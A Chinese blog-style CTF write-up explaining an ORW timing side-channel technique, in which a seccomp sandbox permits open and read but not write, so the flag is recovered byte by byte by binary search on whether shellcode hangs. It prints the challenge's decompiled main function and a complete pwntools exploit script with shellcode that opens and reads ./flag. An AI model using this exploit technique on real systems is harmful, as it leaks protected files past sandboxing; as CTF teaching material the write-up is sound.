ORW-测信道攻击
做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击。主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端。这里可以通过把flag读到栈上,再逐个爆破比较,来确定flag。原理和web的时间盲注类似。
下面给出一个UNCTF的测信道攻击的例题:
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3 unsigned int v3; // eax
4 __int64 v5; // [rsp+50h] [rbp-40h]
5 __int64 v6; // [rsp+58h] [rbp-38h]
6 __int128 buf; // [rsp+60h] [rbp-30h] BYREF
7 __int64 v8; // [rsp+70h] [rbp-20h]
8 unsigned __int64 v9; // [rsp+80h] [rbp-10h]
9
10 v9 = __readfsqword(0x28u);
11 sub_AE0(a1, a2, a3);
12 buf = 0LL;
13 v8 = 0LL;
14 puts("Are you a shellcode master?");
15 alarm(0x14u);
16 v3 = getpagesize();
17 v6 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
18 read(0, &buf, 0x18uLL);
19 prctl(38, 1LL, 0LL, 0LL, 0LL);
20 v5 = seccomp_init(0LL);
21 seccomp_rule_add(v5, 2147418112LL, 15LL, 0LL);
22 seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
23 seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
24 seccomp_rule_add(v5, 2147418112LL, 10LL, 0LL);
25 seccomp_load(v5);
26 *(_QWORD *)(v6 + 16) = v8;
27 *(_OWORD *)v6 = buf;
28 ((void (__fastcall *)(__int64, __int64))v6)(3735928559LL, 4919LL);
29 return 0LL;
30 }
主函数的开头mmap了一块大空间,然后读入数据到buf,接着会把分配的那块内存的开头赋为我们刚刚读入的内容,并且执行。
读入的0x18并不足够写入整个orw_shellcode,所以我们先写入一个shellcode来读取内容,再进行爆破。
下面是exp:
1 import time
2 from pwn import *
3
4 context.arch='amd64'
5
6 def getshellcode():
7 global s
8 shellcode = '''
9 mov rdi, 0
10 mov rsi, 0x10018
11 mov rdx, 0x250
12 syscall
13 nop
14 '''
15 s.recvline()
16 s.send(asm(shellcode))
17 sleep(0.1)
18
19 def pwn():
20 global s
21 flag = ''
22 count = 1
23 for i in range (len(flag),0x50):
24 left = 32
25 right = 127
26 while left < right:
27 s = process('./ezshell')
28 #s = remote('node2.hackingfor.fun',38235)
29 getshellcode()
30 mid = (left + right) >> 1
31 orw_shellcode = f'''
32 mov rdi, 0x67616c662f2e
33 push rdi
34 mov rdi, rsp
35 mov rsi, 0
36 mov rdx, 0
37 mov rax, 2
38 syscall
39 mov rdi, 3
40 mov rsi, rsp
41 mov rdx, 0x100
42 mov rax, 0
43 syscall
44 mov dl, byte ptr [rsp+{i}]
45 mov cl, {mid}
46 cmp dl, cl
47 ja loop
48 ret
49 loop:
50 jmp loop
51 '''
52 s.sendline(asm(orw_shellcode))
53 start_time = time.time()
54 try:
55 s.recv(timeout=0.2)
56 if(time.time() - start_time > 0.1):
57 left = mid + 1
58 except:
59 right = mid
60 s.close()
61 log.info('time-->'+str(count))
62 log.info(flag)
63 count +=1
64 flag += chr(left)
65 log.info(flag)
66 if(flag[-1] == '}'):
67 break
68 pwn()
69 s.interactive()
题目附件
提取码:2efj
ORW-测信道攻击的更多相关文章
- 嵌入式 -- WINKHUB 边信道攻击 (NAND Glitch)
0x00 前言 随着物联网IOT的飞速发展,各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识. 很多朋友困惑如何开始, 甚至卡在 ...
- intel:spectre&Meltdown侧信道攻击(三)—— raw hammer
今天介绍raw hammer攻击的原理:这次有点“标题党”了.事实上,raw hammer是基于DRAM内存的攻击:所以理论上,只要是用了DRAM内存的设备,不论是什么cpu(intel.amd,或则 ...
- intel:spectre&Meltdown侧信道攻击(一)
只要平时对安全领域感兴趣的读者肯定都听过spectre&Meltdown侧信道攻击,今天简单介绍一下这种攻击的原理( https://www.bilibili.com/video/av1814 ...
- 第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御
第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御 原文地址:http://bristolcrypto.blogspot.com/2015/07/52-things-numbe ...
- 第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法
第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法 原文地址:http://bristolcrypto.blogspot.com/2015/08/52-things-number-45-de ...
- 侧信道攻击,从喊666到入门之——Unicorn的环境构建
作者:backahasten 发表于小米安全中心微信公众号 0x00 前言 Unicorn可以模拟多种指令集的代码,在很多安全研究领域有很强大的作用,但是由于需要从头自己布置栈空间,代码段等虚拟执行环 ...
- intel:spectre&Meltdown侧信道攻击(四)—— cache mapping
前面简单介绍了row hammer攻击的原理和方法,为了更好理解这种底层硬件类攻击,今天介绍一下cpu的cache mapping: 众所周知,cpu从内存读数据,最开始用的是虚拟地址,需要通过分页机 ...
- intel:spectre&Meltdown侧信道攻击(二)
上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pd ...
- intel:spectre&Meltdown侧信道攻击(五)—— DRAM address mapping
前面介绍了row hammer,理论上很完美,实际操作的时候会面临很尴尬的问题:内存存储数据最小的单位是cell(就是个电容,充电是1,放电是0),无数个横着的cell组成row,无数个竖着的cell ...
随机推荐
- 零基础学习java------35---------删除一个商品案例,删除多个商品,编辑(修改商品信息),校验用户名是否已经注册(ajax)
一. 删除一个商品案例 将要操作的表格 思路图 前端代码 <%@ page language="java" contentType="text/html; cha ...
- ClassLoad类加载器与双亲委派模型
1. 类加载器 Class类描述的是整个类的信息,在Class类中提供的方法getName()是根据ClassPath配置的路径来进行类加载的.若类加载的路径为文件.网络等时则必须进行类加载这是就需要 ...
- Android 基础UI组件(一)
1.Toast //显示文字 Toast.makeText(this,"Toast显示文本",Toast.LENGTH_SHORT).show(); //显示图片 Toast to ...
- Linux学习 - 目录表
目录名 作用 权限 说明 /bin/ 存放系统命令的目录 所有用户 存放在/bin/下的命令单用户模式下也可以执行 /sbin/ 保存和系统环境设置相关的命令 root ...
- 删除数据库时报错 ERROR 1010 (HY000): Error dropping database (can't rmdir './cart', errno: 39)
这是因为在数据目录下有表相关的数据(不是表),此时应该进入存放表的目录下删除与表相关的数据,一般数据存放目录默认为/var/lib/mysql,cd到目录下 执行命令:cd /var/lib/mysq ...
- java中二维数组初始化的几种方法
/* 第一种方式 */ int tdarr1[][] = { { 1, 3, 5 }, { 5, 9, 10 } }; /* 第二种方式 */ int tdarr2[][] = new int[][] ...
- 调整markdown 图片大小和对齐方式
[博客园]调整markdown 图片大小和对齐方式 图片大小 例 <img src="https://img2020.cnblogs.com/blog/2199257/202101/2 ...
- Linux 内核到底长啥样
目录 一.简介 二.结构 地基 地面层 进程表 http进程 21进程 22进程 到文件系统 定时任务 管道 411进程 跃层 一.简介 今天,我来为大家解读一幅来自 TurnOff.us 的漫画 & ...
- shell脚本 awk实现查看ip连接数
一.简介 处理文本,是awk的强项了. 无论性能已经速度都是让人惊叹! 二.使用 适用:centos6+ 语言:英文 注意:无 awk 'BEGIN{ while("netstat -an& ...
- 纯css设置元素高度与宽度相等
设置图片高度等于宽度 .img-box{ width:100%; height:0; position: relative; padding-bottom: 100% } .img-box img{ ...